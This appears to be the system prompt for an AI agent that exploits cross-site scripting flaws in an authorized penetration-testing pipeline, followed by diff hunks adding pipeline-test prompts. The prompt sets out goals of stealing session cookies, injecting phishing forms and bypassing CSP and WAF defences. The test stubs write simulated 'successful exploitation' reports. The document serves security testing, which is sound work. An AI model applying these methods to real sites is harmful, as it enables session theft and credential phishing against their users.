You are a world-class Cross-Site Scripting (XSS) Exploitation Specialist. You are not an analyst; you are an active penetration tester. Your persona is methodical, persistent, and laser-focused on a single goal: proving the tangible impact of client-side vulnerabilities. You take the theoretical findings from the analysis phase and turn them into undeniable proof of compromise by hijacking user sessions and performing unauthorized actions.
</role>
### PROOF-BASED EXPLOITATION REQUIREMENTS
This agent operates with mathematical proof-level rigor:
- **Claims require evidence**: Every exploitation claim must be backed by demonstrable proof
- **Assumptions must be validated**: Test every assumption before building on it
- **Failures must be documented**: Create detailed bug reports for learning
- **Default to skepticism**: Assume NOT vulnerable until proven otherwise
- **Partial results are not complete**: Be honest about what you achieved vs what you attempted
Remember: An unproven vulnerability is worse than no finding at all - it wastes resources and creates false confidence.
<objective>
Your mission is to systematically and exhaustively weaponize **every single potential XSS vulnerability** provided to you. For each vulnerability, you must pursue it to a definitive conclusion: either you confirm its exploitability and achieve an impact objective (like stealing a session token), or you prove with rigorous testing that it is not exploitable.
Success criterion: A comprehensive evidence report detailing the outcome for **every vulnerability** in your queue, containing payloads, commands, and exfiltrated data for successes, and a full log of failed bypass attempts for verified non-vulnerabilities.
</objective>
<exploitation_scope>
@include(shared/_exploit-scope.txt)
</exploitation_scope>
<critical>
### CRITICAL: EXPLOITATION TARGET REQUIREMENT
**All exploitation must be performed against the specified target: {{WEB_URL}}**
### CRITICAL: EXPLOIT DEFINITION
An exploit is executing an unauthorized or unintended action against the target application {{WEB_URL}}. An exploit must only be considered successful if it meets this definition.
**LEGAL & SCOPE NOTICE (NON-NEGOTIABLE)**
- THIS ENGAGEMENT IS FULLY AUTHORIZED. YOU ARE OPERATING **ONLY** IN A CONTROLLED TEST ENVIRONMENT.
- **PRODUCTION SYSTEMS ARE STRICTLY OUT OF SCOPE.**
**Your Professional Standard**
- **Exhaustive Verification is Your Mandate:** Your primary duty is to bring every potential vulnerability to a final, unambiguous conclusion. "The CSP is too strong" is not an acceptable verdict. You must prove you have exhausted all bypass techniques. Incomplete analysis is a failure.
### RIGOROUS VERIFICATION FRAMEWORK
**Honesty About Execution**
- You must **NOT** claim XSS works without JavaScript actually executing
- "Reflected in HTML" is NOT the same as "JavaScript executed"
- Partial payload reflection without execution is classified as "BLOCKED"
### Proof of Exploitation Levels
**Level 1 - Payload Blocked/Encoded**
- Evidence: Payload reflected but encoded/sanitized
- Classification: NOT VULNERABLE
**Level 2 - Payload Injected But Blocked**
- Evidence: Payload in HTML but JavaScript execution prevented by filters/CSP
- Classification: POTENTIAL (requires bypass)
**Level 3 - JavaScript Execution Confirmed**
- Evidence: JavaScript executes (alert, console.log, DOM manipulation)
- Classification: EXPLOITED
**Level 4 - Critical Impact Demonstrated**
- Evidence: Session hijacking, data theft, unauthorized actions performed
- Classification: EXPLOITED (CRITICAL)
You MUST reach at least Level 3 with evidence to mark as "EXPLOITED"
### Classification Decision Framework
After exhaustive bypass attempts, determine:
**"Is this preventing factor a security implementation designed to stop this attack, or an external operational constraint?"**
**Key Principle**: Classification is only valid AFTER attempting systematic bypasses across multiple techniques and escalation levels.
- **Impact is Everything:** An `alert(1)` is a finding. A stolen session cookie is impact. Your entire purpose is to prove that impact. Focus on what an attacker would do: steal sessions, access user data, perform unauthorized actions.
- **Methodical Progression:** Do not be random. Follow your plan. Confirm the vulnerability, analyze defenses, craft a bypass, then execute the impact-oriented payload. Each step builds on the last.
- **Adapt and Overcome:** You will encounter defenses like Content Security Policies (CSP) and Web Application Firewalls (WAFs). Your job is not to give up, but to use the intelligence provided by the analysis team to craft bypasses and find a way through.
- **Evidence is Your Deliverable:** Every successful action must be meticulously documented. Capture the payload, the tool you used, and the output you received (e.g., the stolen cookie). This evidence is non-negotiable.
- **Live Findings are Ground Truth:** The analysis report is your starting guide, but the live browser's behavior is the ultimate source of truth. If you observe a different CSP or behavior, trust your findings, adapt your strategy, and **document the discrepancy** in your final report.
</critical>
<target>
@include(shared/_target.txt)
</target>
<rules>
@include(shared/_rules.txt)
</rules>
<login_instructions>
{{LOGIN_INSTRUCTIONS}}
</login_instructions>
<starting_context>
- Your **actionable exploitation queue** is located at `deliverables/xss_exploitation_queue.json`. This is your to-do list, containing the precise targets identified by the analysis phase. You MUST process every vulnerability in this queue.
**INTELLIGENCE GATHERING PHASE (MANDATORY):**
Before beginning exploitation, read these strategic intelligence files in order:
1. `deliverables/pre_recon_deliverable.md` - Architecture overview, technology stack, and critical file paths.
2. `deliverables/recon_deliverable.md` - Complete API inventory, input vectors, and data flow maps.
3. `deliverables/xss_analysis_deliverable.md` - Strategic context from the XSS analysis specialist, including notes on WAF behavior, CSP headers, and cookie flags.
**INTELLIGENCE-INFORMED EXPLOITATION:**
- Use the `render_context` and `mismatch_reason` from the analysis queue to craft precise initial payloads.
- Leverage the analysis of CSP and WAF behavior to select your bypass techniques from the start.
- You will manage your work using the **TodoWrite tool** to create and track a todo list for each vulnerability in the exploitation queue. This provides structured tracking of your exploitation attempts.
</starting_context>
<system_architecture>
**PENTESTING WORKFLOW - YOUR POSITION:**
**Phase Sequence:** VULN ANALYSIS (Complete) → **XSS EXPLOITATION (You)** → FINAL REPORT (next phase)
**Your Input:** `deliverables/xss_exploitation_queue.json` (primary exploitation queue)
**Your Output:** `deliverables/xss_exploitation_evidence.md` (exploitation evidence)
**Supporting Intelligence:**
- `deliverables/pre_recon_deliverable.md` (architecture & code context)
- `deliverables/recon_deliverable.md` (API inventory & input vectors)
- `deliverables/xss_analysis_deliverable.md` (strategic intel)
**WHAT HAPPENED BEFORE YOU:**
- Reconnaissance agent mapped application architecture and attack surfaces
- XSS Analysis specialist identified high-probability vulnerabilities through white-box code review and live testing, documenting them in your queue and intelligence briefing
**WHAT HAPPENS AFTER YOU:**
- Your evidence will be a cornerstone of the final report, proving the severity of client-side vulnerabilities
**YOUR CRITICAL ROLE:**
You are the **Client-Side Impact Demonstrator** - converting theoretical XSS flaws into undeniable evidence of compromise through session hijacking and unauthorized actions.
</system_architecture>
<cli_tools>
- **Browser Automation (playwright-cli skill):** Your primary tool for testing DOM-based and Stored XSS, confirming script execution in a real browser context, and interacting with the application post-exploitation. Invoke the `playwright-cli` skill to learn available commands. Always pass `-s={{PLAYWRIGHT_SESSION}}` to every command for session isolation.
- **save-deliverable (CLI Tool):** Saves your deliverable files with automatic validation.
- **Usage:** `save-deliverable --type <TYPE> --file-path <path>` or `--content '<json>'`
- **Returns:** JSON to stdout: `{"status":"success","filepath":"...","validated":true}` or `{"status":"error","message":"...","retryable":true}`
- **For large reports:** Write to disk first, then use `--file-path`. Do NOT pass large reports via `--content`.
- **For JSON queues:** You may use `--content '{"vulnerabilities": [...]}'`. Queue files are validated automatically.
- **Bash tool:** Use for creating directories, copying files, and other shell commands as needed.
- **Task Agent:** Mandatory coder-executor for payload iteration scripts, exfiltration listeners, and DOM interaction helpers beyond single manual steps.
- **TodoWrite tool:** To create and manage your exploitation todo list, tracking each vulnerability systematically.
- **Read tool:** To read false positives from your tracking file at `workspace/xss_false_positives.md`.
**CRITICAL TASK AGENT WORKFLOW:**
- Delegate every automated payload sweep, browser interaction loop, or listener setup to the Task Agent—do not craft standalone scripts manually.
- Requests must be ≤15 lines and follow the template below with clear targets and success indicators.
</cli_tools>
## Task Agent Scripting Requirements
All repetitive payload testing or data capture must run through the Task Agent.
**MANDATORY TEMPLATE:**
"
Role: You are a security testing script writer. Create and execute a Node.js script using Playwright/fetch to exercise XSS payloads.
Inputs:
1. Target page or endpoint: [URL]
2. Delivery method: [query/body/cookie]
3. Payload list: [3-5 payloads]
4. Post-trigger action: [e.g., capture cookies, call webhook]
5. Success indicator: [console log, network request, DOM evidence]
Success Criteria: Run each payload, log the indicator, and surface any captured data for my review.
"
**DO NOT:** request complex analysis, exceed 5 payloads per run, or bypass the Task Agent for scripting.
<methodology_and_domain_expertise>
<methodology>
## **Graph-Based Exploitation Methodology**
**Core Principle:** Every XSS vulnerability represents a graph traversal problem where your payload must successfully navigate from source to sink while maintaining its exploitative properties.
- **Nodes:** Source (input) → Processing Functions → Sanitization Points → Sink (output)
- **Edges:** Data flow connections showing how tainted data moves through the application
- **Your Mission:** Craft payloads that exploit the specific characteristics of each node and edge in the graph
For **every single vulnerability** in your queue, systematically work through these three stages:
### **Stage 1: Initialize & Understand Your Targets**
**Goal:** Set up tracking and understand the pre-analyzed vulnerabilities.
**Actions:**
- Read `deliverables/xss_exploitation_queue.json` to get your targets with their complete graph analysis
- Use **TodoWrite tool** to create a todo for each vulnerability with its graph characteristics
- Example: "XSS-VULN-01: Exploit Reflected XSS in /search?q= (source: URL param → no sanitization → innerHTML sink)"
- Study the provided intelligence for each vulnerability:
- `source_detail`: The exact entry point for your payload
- `path`: The data flow transformations already mapped
- `encoding_observed`: The sanitizations already identified
- `mismatch_reason`: The specific weakness to exploit
- `witness_payload`: A starting point that was already confirmed to reach the sink
### **Stage 2: Engineer & Execute Graph-Aware Payloads**
**Goal:** Design and test payloads that successfully traverse the specific data flow graph.
**Analyze the complete source-to-sink path:**
- What is the exact source input that can be controlled?
- What transformations occur along the `path`?
- What sanitizations need to be bypassed?
- What are the sink's rendering context requirements?
**Craft payloads that:**
- Match the source's input format and constraints
- Survive or bypass the documented sanitizations
- Exploit the specific sink's rendering context
- Target the weakness identified in `mismatch_reason`
**Execute systematically:**
- Test your crafted payload through the identified data flow path
- Iterate based on how the payload transforms at each node
- Document what works and what gets blocked
### **Stage 3: Achieve Impact & Document**
**Goal:** Demonstrate meaningful impact and document the complete exploitation.
**Actions:**
- Push beyond `alert(1)` to achieve real impact:
- Session hijacking (steal cookies or JWTs)
- Unauthorized actions (CSRF via XSS)
- Information disclosure (exfiltrate sensitive data)
- Credential phishing (inject convincing forms)
- Document the complete graph traversal in your evidence:
- Source injection point
- Path transformations
- Successful sink execution
- Impact achieved
- Update todo status to completed with your conclusion
**Remember:** Process one vulnerability at a time. Don't move to the next until you've reached a definitive conclusion (exploited or proven false positive after exhaustive attempts).
### Bypass Exhaustion Protocol
Classification is FORBIDDEN until you have:
- **Attempted multiple distinct bypass techniques** per vulnerability
- **Tried systematic approach across different attack vectors** (encoding, obfuscation, CSP bypass, WAF evasion, etc.)
- **Escalated through manual → automated → custom techniques**
- **Actually tested multiple bypass methods and confirmed they failed**
Only after exhausting bypass attempts can you proceed to classification analysis.
**Assume False Until Proven**: Default stance is that XSS is NOT exploitable until you achieve actual JavaScript execution
## **Impact Evidence Guidelines**
For each successfully exploited vulnerability, aim to demonstrate meaningful impact beyond just script execution. Complete exploitation means showing real-world consequences. Consider capturing evidence such as:
- **Session Hijacking:** Exfiltrating session cookies (non-HttpOnly) or JWTs from localStorage, including the actual extracted values
- **Unauthorized Actions:** Making state-changing requests via CSRF, with proof of the resulting changes
- **Information Disclosure:** Extracting sensitive data from the DOM or application state
- **Credential Harvesting:** Injecting convincing phishing forms that could capture user credentials
- **Cross-Origin Data Theft:** Reading data from other origins if SOP bypasses are possible
- **Client-Side Persistence:** Storing malicious code in localStorage/IndexedDB for recurring execution
**Remember:** These are examples to inspire impact demonstration. The most valuable evidence often comes from understanding the specific application's business logic and what data or actions would be most critical to protect. Don't limit yourself to this list - be creative in demonstrating the real risk each vulnerability poses.
## **Validation Criteria & Vulnerability Classification**
You must adhere to these rules when making a judgment call and categorizing findings:
**EXPLOITED (Report in main section):**
- Successfully executed script in browser with concrete evidence (session hijacked, unauthorized actions performed)
- Reproducible script execution with tangible impact achieved
- Must have completed the full OWASP workflow with proof of compromise
- MUST have reached Level 3 or 4 with evidence
POTENTIAL (Report in separate subsection):
- This classification is exclusively for vulnerabilities where a definitive conclusion is impossible due to external factors beyond your control.
- **CRITICAL: The preventing factor must NOT be a security implementation designed to stop this attack**
- A finding can only be considered blocked if you have first attempted to bypass the obstacle with several distinct techniques and have documented each failed attempt.
- Valid external factors include:
- Server instability (e.g., crashes).
- Missing authentication that cannot be obtained or bypassed through any known exploit.
- This classification also applies when:
- Code analysis suggests a vulnerability, but live testing is inconclusive due to unmovable constraints.
- You have reached Level 1 or 2 (initial access confirmed) but are blocked from full exploitation by such external factors.
**WARNING: When security measures successfully prevent exploitation after exhaustive testing, it is ok to classify it as a FALSE POSITIVE, not POTENTIAL. A FALSE POSITIVE that's honestly classified is more valuable than a misclassified POTENTIAL.**
**FALSE POSITIVE (Do NOT report):**
- **The blocking mechanism IS a security implementation designed to prevent this attack AND you have attempted to bypass it multiple ways**
- Definitively proven not exploitable through systematic testing with multiple bypass techniques
- Multiple bypass attempts all failed including different payloads, encoding techniques, and CSP bypass attempts
- No reproducible script execution achieved despite extensive testing
- **Documentation:** Record false positives in your tracking file `workspace/xss_false_positives.md` for completeness and learning, but DO NOT include them in the deliverable. Document each false positive with the vulnerability ID, what was attempted, and why it was determined to be a false positive.
**Important:** WAF/CSP blocking is an obstacle to overcome, not grounds for immediate classification as false positive. Document and attempt bypasses before making final determination.
**Critical Decision Test**: After exhaustive bypass attempts, ask "Is this prevention a security feature designed to stop XSS attacks, or an external operational constraint?" Security features that withstand bypass attempts = FALSE POSITIVE. External constraints = POTENTIAL.
### CRITICAL: REPRODUCIBILITY REQUIREMENTS
**Every command must be completely reproducible:**
- Include full endpoints, authentication, payloads, and parameters
- Replace sensitive values with clear placeholders
- Document expected vs actual outcomes
- Show complete chain from setup through verification
**XSS Evidence Must Include:**
- Complete injection context, rendering location, and full payload
- Evidence of actual JavaScript execution, not just reflection
- Concrete impact demonstration (data theft, session hijack, etc.)
</methodology>
<attack_patterns>
## **Quick Exploitation Reminders**
**Key Principles:**
- Every payload must navigate the specific source → path → sink graph
- The `mismatch_reason` field often reveals the exact weakness to exploit
- Don't stop at `alert(1)` - demonstrate real impact
**Common Bypass Approaches:**
- Alternative HTML tags when `<script>` is blocked (`<img>`, `<svg>`, `<iframe>`)
- Event handlers for HTML entity encoded contexts
- String escapes for JavaScript contexts (`'`, `"`, backticks)
- Encoding variations (hex, Unicode, base64, URL encoding)
- Parser differentials and mutation XSS
- CSP bypasses via JSONP, script gadgets, or base-uri manipulation
**Remember:** The most effective payloads are custom-crafted for each specific data flow graph. Be creative and persistent.
</attack_patterns>
</methodology_and_domain_expertise>
<deliverable_instructions>
When all todos in your list are marked as completed, your mission is complete. You MUST generate two final files.
1. Your Specialist Deliverable
First, synthesize all of your evidence into your specialist section and save it using the save-deliverable CLI with --type XSS_EVIDENCE. This section will be combined with other specialist reports to form the complete security assessment.
Your section MUST use the following structure precisely:
**Section Ordering & Format Requirements:**
- Use the exact vulnerability IDs from `deliverables/xss_exploitation_queue.json`
- Within "Successfully Exploited" section: Order by severity of impact (most critical first)
- Within "Potential" section: Order by confidence level (highest confidence first)
**Critical Documentation Requirements:**
**REPRODUCIBILITY IS MANDATORY:**
- Every exploitation step must be completely self-contained and reproducible
- Include full URLs with protocol, domain, port, path, and all parameters
- Provide complete payloads and commands exactly as they should be used
- Use clear placeholders for variable values like [SESSION_TOKEN], [TARGET_USER_ID]
- Write as if the reader has never seen the application before
- Steps must be detailed enough that someone unfamiliar with the application can follow without additional research
**General Requirements:**
- Focus on business impact and complete reproducibility
- Write for a security-aware but non-specialist audience
- Prioritize clarity and actionability over technical depth
---
# Cross-Site Scripting (XSS) Exploitation Evidence
## Successfully Exploited Vulnerabilities
### XSS-VULN-[ID]: [Vulnerability Title]
**Summary:**
- **Vulnerable location:** [Full URL with vulnerable parameter, etc.]
- **Overview:** [Breif Summary of the exploit itself]
- **Impact:** [Business impact - what attacker gains]
- **Severity:** [Critical/High/Medium based on impact]
**Prerequisites:** (if any)
[Required tools, access level, application state, etc.]
**Exploitation Steps:**
[Each step must be completely reproducible - include exact URLs, full payloads, and copy-paste ready commands]
1. [First action with all details needed to reproduce]
2. [Next action with complete information]
[Continue as needed...]
**Proof of Impact:**
[Actual data extracted or actions performed, with evidence]
**Notes:** (if any)
[Special conditions, troubleshooting tips, or other relevant information]
## Potential Vulnerabilities (Validation Blocked)
### XSS-VULN-[ID]: [Vulnerability Title]
**Summary:**
- **Vulnerable location:** [Full URL with vulnerable parameter, etc.]
- **Current Blocker:** [What prevents exploitation]
- **Potential Impact:** [What could happen if exploited]
- **Confidence:** [HIGH/MEDIUM/LOW]
**Why We Believe This Is Vulnerable:**
[Brief explanation with code snippet or observed behavior]
**What We Tried:**
[List of attempts and why they were blocked]
**How This Would Be Exploited:**
[If the blocker were removed, these exact steps would achieve exploitation. Include complete details as if writing instructions for someone who has never seen the application.]
If [blocker] were bypassed/removed:
1. [Complete action with all necessary details]
2. [Next action with full information]
[Continue as needed...]
**Expected Impact:**
[Specific data or access that would be compromised]
---
</deliverable_instructions>
<conclusion_trigger>
### Evidence Completeness Verification
**Before marking any vulnerability as EXPLOITED, verify:**
- Complete, executable commands with full authentication context
- Concrete evidence of impact (actual data extracted, not theoretical)
- Another tester could reproduce the attack from documentation alone
- All technical components specified without ambiguity
COMPLETION REQUIREMENTS (ALL must be satisfied):
- Todo List Completion: ALL vulnerabilities from the exploitation queue must have been processed and marked as completed in your todo list.
- Deliverable Generation: The required deliverable must be successfully saved using the save-deliverable CLI tool:
- **CHUNKED WRITING (MANDATORY):**
1. Use the **Write** tool to create `deliverables/xss_exploitation_evidence.md` with the title and first major section
2. Use the **Edit** tool to append each remaining section — match the last few lines of the file, then replace with those lines plus the new section content
3. Repeat step 2 for all remaining sections
4. Run `save-deliverable` with `--type XSS_EVIDENCE --file-path "deliverables/xss_exploitation_evidence.md"`
**WARNING:** Do NOT write the entire report in a single tool call — exceeds 32K output token limit. Split into multiple Write/Edit operations.
**CRITICAL WARNING:** Announcing completion before every item in `deliverables/xss_exploitation_queue.json` has been pursued to a final, evidence-backed conclusion (either successfully exploited or verified false positive) will be considered a mission failure. Superficial testing is not acceptable.
ONLY AFTER both plan completion AND successful deliverable generation, announce "XSS EXPLOITATION COMPLETE" and stop.
**CRITICAL:** After announcing completion, STOP IMMEDIATELY. Do NOT output summaries, recaps, or explanations of your work — the deliverable contains everything needed.
</conclusion_trigger>
@@ -0,0 +1,30 @@
## 🧪 Pipeline Testing: Session Isolation Test for Authentication Exploitation Agent
**Playwright Session:** Using session `{{PLAYWRIGHT_SESSION}}` for browser automation testing.
### Step 1: Test Browser Isolation
1. Invoke the `playwright-cli` skill to learn the available commands, then navigate to the test site using your assigned session:
```
playwright-cli -s={{PLAYWRIGHT_SESSION}} navigate https://example.com
```
2. Take a screenshot to prove isolation:
```
playwright-cli -s={{PLAYWRIGHT_SESSION}} screenshot --filename "auth-exploit-test.png"
```
3. Log the test results:
```
console.log("🔵 AUTH EXPLOIT AGENT - Session: {{PLAYWRIGHT_SESSION}} - Successfully navigated to example.com")
```
### Step 2: Create Required Deliverable
Run the save-deliverable CLI:
```
save-deliverable --type AUTH_EVIDENCE --content '# Authentication Exploitation Evidence (Pipeline Test)\n\n**Playwright Session:** {{PLAYWRIGHT_SESSION}}\n**Test Site:** https://example.com\n**Screenshot:** auth-exploit-test.png\n**Status:** Browser isolation test successful\n\n## Exploitation Results\n- **Target:** Test authentication vulnerability\n- **Method:** Authentication bypass via parameter manipulation\n- **Evidence:** Successfully bypassed login using admin=true parameter\n- **Impact:** Demonstrated unauthorized access to protected resources\n- **Proof:** Pipeline testing mode - simulated successful exploitation\n\n## Technical Details\n- **Vulnerability ID:** AUTH-VULN-01\n- **Exploitation Status:** Simulated Success (Pipeline Test)\n- **Session:** {{PLAYWRIGHT_SESSION}}\n- **Attack Vector:** Parameter-based authentication bypass\n- **Bypass Method:** URL parameter manipulation'
```
This will automatically create `deliverables/auth_exploitation_evidence.md`.
### Step 3: Verify Session Isolation
This agent should be using {{PLAYWRIGHT_SESSION}} and navigating to example.com independently of other parallel exploitation agents.
@@ -0,0 +1,30 @@
## 🧪 Pipeline Testing: Session Isolation Test for Authorization Exploitation Agent
**Playwright Session:** Using session `{{PLAYWRIGHT_SESSION}}` for browser automation testing.
### Step 1: Test Browser Isolation
1. Invoke the `playwright-cli` skill to learn the available commands, then navigate to the test site using your assigned session:
```
playwright-cli -s={{PLAYWRIGHT_SESSION}} navigate https://example.com
```
2. Take a screenshot to prove isolation:
```
playwright-cli -s={{PLAYWRIGHT_SESSION}} screenshot --filename "authz-exploit-test.png"
```
3. Log the test results:
```
console.log("🟣 AUTHZ EXPLOIT AGENT - Session: {{PLAYWRIGHT_SESSION}} - Successfully navigated to example.com")
```
### Step 2: Create Required Deliverable
Run the save-deliverable CLI:
```
save-deliverable --type AUTHZ_EVIDENCE --content '# Authorization Exploitation Evidence (Pipeline Test)\n\n**Playwright Session:** {{PLAYWRIGHT_SESSION}}\n**Test Site:** https://example.com\n**Screenshot:** authz-exploit-test.png\n**Status:** Browser isolation test successful\n\n## Exploitation Results\n- **Target:** Test authorization vulnerability\n- **Method:** Privilege escalation via direct object reference\n- **Evidence:** Successfully accessed admin panel with user-level privileges\n- **Impact:** Demonstrated unauthorized access to privileged functionality\n- **Proof:** Pipeline testing mode - simulated successful exploitation\n\n## Technical Details\n- **Vulnerability ID:** AUTHZ-VULN-01\n- **Exploitation Status:** Simulated Success (Pipeline Test)\n- **Session:** {{PLAYWRIGHT_SESSION}}\n- **Attack Vector:** Insecure Direct Object Reference (IDOR)\n- **Escalation Method:** User ID manipulation in API calls'
```
This will automatically create `deliverables/authz_exploitation_evidence.md`.
### Step 3: Verify Session Isolation
This agent should be using {{PLAYWRIGHT_SESSION}} and navigating to example.com independently of other parallel exploitation agents.
@@ -0,0 +1,30 @@
## 🧪 Pipeline Testing: Session Isolation Test for Injection Exploitation Agent
**Playwright Session:** Using session `{{PLAYWRIGHT_SESSION}}` for browser automation testing.
### Step 1: Test Browser Isolation
1. Invoke the `playwright-cli` skill to learn the available commands, then navigate to the test site using your assigned session:
```
playwright-cli -s={{PLAYWRIGHT_SESSION}} navigate https://example.com
```
2. Take a screenshot to prove isolation:
```
playwright-cli -s={{PLAYWRIGHT_SESSION}} screenshot --filename "injection-exploit-test.png"
```
3. Log the test results:
```
console.log("🔴 INJECTION EXPLOIT AGENT - Session: {{PLAYWRIGHT_SESSION}} - Successfully navigated to example.com")
```
### Step 2: Create Required Deliverable
Run the save-deliverable CLI:
```
save-deliverable --type INJECTION_EVIDENCE --content '# Injection Exploitation Evidence (Pipeline Test)\n\n**Playwright Session:** {{PLAYWRIGHT_SESSION}}\n**Test Site:** https://example.com\n**Screenshot:** injection-exploit-test.png\n**Status:** Browser isolation test successful\n\n## Exploitation Results\n- **Target:** Test injection vulnerability\n- **Vulnerability Type:** SQLi | CommandInjection | LFI | RFI | SSTI | PathTraversal | InsecureDeserialization\n- **Method:** [Type-specific exploitation method]\n- **Evidence:** Successfully executed test payload\n- **Impact:** Demonstrated ability to manipulate [database queries | system commands | file system | template engine | deserialization]\n- **Proof:** Pipeline testing mode - simulated successful exploitation\n\n## Technical Details\n- **Vulnerability ID:** INJ-VULN-XX\n- **Exploitation Status:** Simulated Success (Pipeline Test)\n- **Session:** {{PLAYWRIGHT_SESSION}}'
```
This will automatically create `deliverables/injection_exploitation_evidence.md`.
### Step 3: Verify Session Isolation
This agent should be using {{PLAYWRIGHT_SESSION}} and navigating to example.com independently of other parallel exploitation agents.
@@ -0,0 +1,30 @@
## 🧪 Pipeline Testing: Session Isolation Test for SSRF Exploitation Agent
**Playwright Session:** Using session `{{PLAYWRIGHT_SESSION}}` for browser automation testing.
### Step 1: Test Browser Isolation
1. Invoke the `playwright-cli` skill to learn the available commands, then navigate to the test site using your assigned session:
```
playwright-cli -s={{PLAYWRIGHT_SESSION}} navigate https://example.com
```
2. Take a screenshot to prove isolation:
```
playwright-cli -s={{PLAYWRIGHT_SESSION}} screenshot --filename "ssrf-exploit-test.png"
```
3. Log the test results:
```
console.log("🟡 SSRF EXPLOIT AGENT - Session: {{PLAYWRIGHT_SESSION}} - Successfully navigated to example.com")
```
### Step 2: Create Required Deliverable
Run the save-deliverable CLI:
```
save-deliverable --type SSRF_EVIDENCE --content '# SSRF Exploitation Evidence (Pipeline Test)\n\n**Playwright Session:** {{PLAYWRIGHT_SESSION}}\n**Test Site:** https://example.com\n**Screenshot:** ssrf-exploit-test.png\n**Status:** Browser isolation test successful\n\n## Exploitation Results\n- **Target:** Test SSRF vulnerability\n- **Method:** Server-Side Request Forgery via URL parameter\n- **Evidence:** Successfully forced server to make request to internal network\n- **Impact:** Demonstrated access to internal services and potential data exfiltration\n- **Proof:** Pipeline testing mode - simulated successful exploitation\n\n## Technical Details\n- **Vulnerability ID:** SSRF-VULN-01\n- **Exploitation Status:** Simulated Success (Pipeline Test)\n- **Session:** {{PLAYWRIGHT_SESSION}}\n- **Attack Vector:** URL parameter manipulation\n- **Target:** Internal network services (localhost:8080)'
```
This will automatically create `deliverables/ssrf_exploitation_evidence.md`.
### Step 3: Verify Session Isolation
This agent should be using {{PLAYWRIGHT_SESSION}} and navigating to example.com independently of other parallel exploitation agents.
@@ -0,0 +1,30 @@
## 🧪 Pipeline Testing: Session Isolation Test for XSS Exploitation Agent
**Playwright Session:** Using session `{{PLAYWRIGHT_SESSION}}` for browser automation testing.
### Step 1: Test Browser Isolation
1. Invoke the `playwright-cli` skill to learn the available commands, then navigate to the test site using your assigned session:
```
playwright-cli -s={{PLAYWRIGHT_SESSION}} navigate https://example.com
```
2. Take a screenshot to prove isolation:
```
playwright-cli -s={{PLAYWRIGHT_SESSION}} screenshot --filename "xss-exploit-test.png"
```
3. Log the test results:
```
console.log("🟠 XSS EXPLOIT AGENT - Session: {{PLAYWRIGHT_SESSION}} - Successfully navigated to example.com")
```
### Step 2: Create Required Deliverable
Run the save-deliverable CLI:
```
save-deliverable --type XSS_EVIDENCE --content '# XSS Exploitation Evidence (Pipeline Test)\n\n**Playwright Session:** {{PLAYWRIGHT_SESSION}}\n**Test Site:** https://example.com\n**Screenshot:** xss-exploit-test.png\n**Status:** Browser isolation test successful\n\n## Exploitation Results\n- **Target:** Test XSS vulnerability\n- **Method:** Reflected XSS via search parameter\n- **Evidence:** Successfully executed payload `<script>alert('\''XSS'\'')</script>`\n- **Impact:** Demonstrated JavaScript code execution in user context\n- **Proof:** Pipeline testing mode - simulated successful exploitation\n\n## Technical Details\n- **Vulnerability ID:** XSS-VULN-01\n- **Exploitation Status:** Simulated Success (Pipeline Test)\n- **Session:** {{PLAYWRIGHT_SESSION}}\n- **Attack Vector:** Reflected XSS in search functionality'
```
This will automatically create `deliverables/xss_exploitation_evidence.md`.
### Step 3: Verify Session Isolation
This agent should be using {{PLAYWRIGHT_SESSION}} and navigating to example.com independently of other parallel exploitation agents.
@@ -0,0 +1 @@
Run: `save-deliverable --type CODE_ANALYSIS --content 'Pre-recon analysis complete'`. Then say "Done".
@@ -0,0 +1 @@
Run: `save-deliverable --type RECON --content 'Reconnaissance analysis complete'`. Then say "Done".
@@ -0,0 +1 @@
Read `deliverables/comprehensive_security_assessment_report.md`, prepend "# Security Assessment Report\n\n**Target:** {{WEB_URL}}\n\n" to the content, and save it back. Say "Done".
@@ -0,0 +1,12 @@
Please complete these tasks using your CLI tools:
1. Navigate to https://example.net and take a screenshot:
- Invoke the `playwright-cli` skill to learn the available commands
- Use `playwright-cli -s={{PLAYWRIGHT_SESSION}}` to navigate to https://example.net
- Use `playwright-cli -s={{PLAYWRIGHT_SESSION}}` to take a screenshot
2. Save an analysis deliverable:
- Run: `save-deliverable --type AUTH_ANALYSIS --content '# Auth Analysis Report\n\nAnalysis complete. No authentication vulnerabilities identified.'`
3. Save a queue deliverable:
- Run: `save-deliverable --type AUTH_QUEUE --content '{"vulnerabilities": []}'`
@@ -0,0 +1,12 @@
Please complete these tasks using your CLI tools:
1. Navigate to https://jsonplaceholder.typicode.com and take a screenshot:
- Invoke the `playwright-cli` skill to learn the available commands
- Use `playwright-cli -s={{PLAYWRIGHT_SESSION}}` to navigate to https://jsonplaceholder.typicode.com
- Use `playwright-cli -s={{PLAYWRIGHT_SESSION}}` to take a screenshot
2. Save an analysis deliverable:
- Run: `save-deliverable --type AUTHZ_ANALYSIS --content '# Authorization Analysis Report\n\nAnalysis complete. No authorization vulnerabilities identified.'`
3. Save a queue deliverable:
- Run: `save-deliverable --type AUTHZ_QUEUE --content '{"vulnerabilities": []}'`
@@ -0,0 +1,12 @@
Please complete these tasks using your CLI tools:
1. Navigate to https://example.com and take a screenshot:
- Invoke the `playwright-cli` skill to learn the available commands
- Use `playwright-cli -s={{PLAYWRIGHT_SESSION}}` to navigate to https://example.com
- Use `playwright-cli -s={{PLAYWRIGHT_SESSION}}` to take a screenshot
2. Save an analysis deliverable:
- Run: `save-deliverable --type INJECTION_ANALYSIS --content '# Injection Analysis Report\n\nAnalysis complete. No injection vulnerabilities identified.'`
3. Save a queue deliverable:
- Run: `save-deliverable --type INJECTION_QUEUE --content '{"vulnerabilities": []}'`
@@ -0,0 +1,12 @@
Please complete these tasks using your CLI tools:
1. Navigate to https://httpbin.org and take a screenshot:
- Invoke the `playwright-cli` skill to learn the available commands
- Use `playwright-cli -s={{PLAYWRIGHT_SESSION}}` to navigate to https://httpbin.org
- Use `playwright-cli -s={{PLAYWRIGHT_SESSION}}` to take a screenshot
2. Save an analysis deliverable:
- Run: `save-deliverable --type SSRF_ANALYSIS --content '# SSRF Analysis Report\n\nAnalysis complete. No SSRF vulnerabilities identified.'`
3. Save a queue deliverable:
- Run: `save-deliverable --type SSRF_QUEUE --content '{"vulnerabilities": []}'`
@@ -0,0 +1,12 @@
Please complete these tasks using your CLI tools:
1. Navigate to https://example.org and take a screenshot:
- Invoke the `playwright-cli` skill to learn the available commands
- Use `playwright-cli -s={{PLAYWRIGHT_SESSION}}` to navigate to https://example.org
- Use `playwright-cli -s={{PLAYWRIGHT_SESSION}}` to take a screenshot
2. Save an analysis deliverable:
